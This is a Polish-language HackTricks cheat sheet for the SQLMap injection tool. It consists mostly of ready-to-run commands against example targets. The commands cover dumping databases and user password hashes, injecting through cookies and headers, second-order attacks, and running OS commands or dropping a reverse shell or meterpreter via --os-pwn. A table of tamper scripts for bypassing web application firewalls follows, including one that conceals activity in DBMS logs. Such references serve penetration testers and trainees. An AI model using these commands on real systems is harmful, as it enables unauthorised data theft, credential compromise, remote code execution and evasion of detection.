SQLMap

Reading time: 7 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe argumenty dla SQLmap

Ogólne

bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Pobierz informacje

Wewnętrzne

bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB data

bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Miejsce wstrzyknięcia

Z przechwycenia Burp/ZAP

Przechwyć żądanie i utwórz plik req.txt

bash
sqlmap -r req.txt --current-user

Wstrzykiwanie Żądania GET

bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Wstrzykiwanie Żądania POST

bash
sqlmap -u "http://example.com" --data "username=*&password=*"

Iniekcje w nagłówkach i innych metodach HTTP

bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Wstrzyknięcie drugiego rzędu

bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Crawlowanie strony internetowej za pomocą SQLmap i automatyczne wykorzystanie

bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Dostosowywanie wstrzyknięcia

Ustaw sufiks

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefiks

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Pomoc w znajdowaniu wstrzyknięć boolean

bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperOpis
apostrophemask.pyZastępuje znak apostrofu jego pełnowymiarowym odpowiednikiem UTF-8
apostrophenullencode.pyZastępuje znak apostrofu jego nielegalnym podwójnym odpowiednikiem unicode
appendnullbyte.pyDodaje zakodowany znak NULL na końcu ładunku
base64encode.pyKoduje wszystkie znaki w danym ładunku w formacie Base64
between.pyZastępuje operator większy niż ('>') z 'NOT BETWEEN 0 AND #'
bluecoat.pyZastępuje znak spacji po instrukcji SQL ważnym losowym znakiem pustym. Następnie zastępuje znak = operatorem LIKE
chardoubleencode.pyPodwójnie koduje URL wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych)
commalesslimit.pyZastępuje wystąpienia takie jak 'LIMIT M, N' z 'LIMIT N OFFSET M'
commalessmid.pyZastępuje wystąpienia takie jak 'MID(A, B, C)' z 'MID(A FROM B FOR C)'
concat2concatws.pyZastępuje wystąpienia takie jak 'CONCAT(A, B)' z 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.pyKoduje URL wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych)
charunicodeencode.pyKoduje znaki niezakodowane w danym ładunku w formacie unicode-url (nie przetwarzając już zakodowanych). "%u0022"
charunicodeescape.pyKoduje znaki niezakodowane w danym ładunku w formacie unicode-url (nie przetwarzając już zakodowanych). "\u0022"
equaltolike.pyZastępuje wszystkie wystąpienia operatora równości ('=') operatorem 'LIKE'
escapequotes.pyUżywa znaku ukośnika do ucieczki cytatów (' i ")
greatest.pyZastępuje operator większy niż ('>') jego odpowiednikiem 'GREATEST'
halfversionedmorekeywords.pyDodaje wersjonowany komentarz MySQL przed każdym słowem kluczowym
ifnull2ifisnull.pyZastępuje wystąpienia takie jak 'IFNULL(A, B)' z 'IF(ISNULL(A), B, A)'
modsecurityversioned.pyOtacza pełne zapytanie wersjonowanym komentarzem
modsecurityzeroversioned.pyOtacza pełne zapytanie zerowym wersjonowanym komentarzem
multiplespaces.pyDodaje wiele spacji wokół słów kluczowych SQL
nonrecursivereplacement.pyZastępuje zdefiniowane słowa kluczowe SQL reprezentacjami odpowiednimi do zastąpienia (np. .replace("SELECT", "")) filtry
percentage.pyDodaje znak procentu ('%') przed każdym znakiem
overlongutf8.pyKonwertuje wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych)
randomcase.pyZastępuje każdy znak słowa kluczowego losową wartością wielkości liter
randomcomments.pyDodaje losowe komentarze do słów kluczowych SQL
securesphere.pyDodaje specjalnie skonstruowany ciąg
sp_password.pyDodaje 'sp_password' na końcu ładunku w celu automatycznego zatarcia w logach DBMS
space2comment.pyZastępuje znak spacji (' ') komentarzami
space2dash.pyZastępuje znak spacji (' ') komentarzem w postaci myślnika ('--') po którym następuje losowy ciąg i nowa linia ('\n')
space2hash.pyZastępuje znak spacji (' ') znakiem krzyżyka ('#') po którym następuje losowy ciąg i nowa linia ('\n')
space2morehash.pyZastępuje znak spacji (' ') znakiem krzyżyka ('#') po którym następuje losowy ciąg i nowa linia ('\n')
space2mssqlblank.pyZastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków
space2mssqlhash.pyZastępuje znak spacji (' ') znakiem krzyżyka ('#') po którym następuje nowa linia ('\n')
space2mysqlblank.pyZastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków
space2mysqldash.pyZastępuje znak spacji (' ') komentarzem w postaci myślnika ('--') po którym następuje nowa linia ('\n')
space2plus.pyZastępuje znak spacji (' ') znakiem plus ('+')
space2randomblank.pyZastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków
symboliclogical.pyZastępuje operatory logiczne AND i OR ich symbolicznymi odpowiednikami (&& i
unionalltounion.pyZastępuje UNION ALL SELECT z UNION SELECT
unmagicquotes.pyZastępuje znak cytatu (') kombinacją wielobajtową %bf%27 razem z ogólnym komentarzem na końcu (aby to działało)
uppercase.pyZastępuje każdy znak słowa kluczowego wartością wielką 'INSERT'
varnish.pyDodaje nagłówek HTTP 'X-originating-IP'
versionedkeywords.pyOtacza każde nie-funkcyjne słowo kluczowe wersjonowanym komentarzem MySQL
versionedmorekeywords.pyOtacza każde słowo kluczowe wersjonowanym komentarzem MySQL
xforwardedfor.pyDodaje fałszywy nagłówek HTTP 'X-Forwarded-For'

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks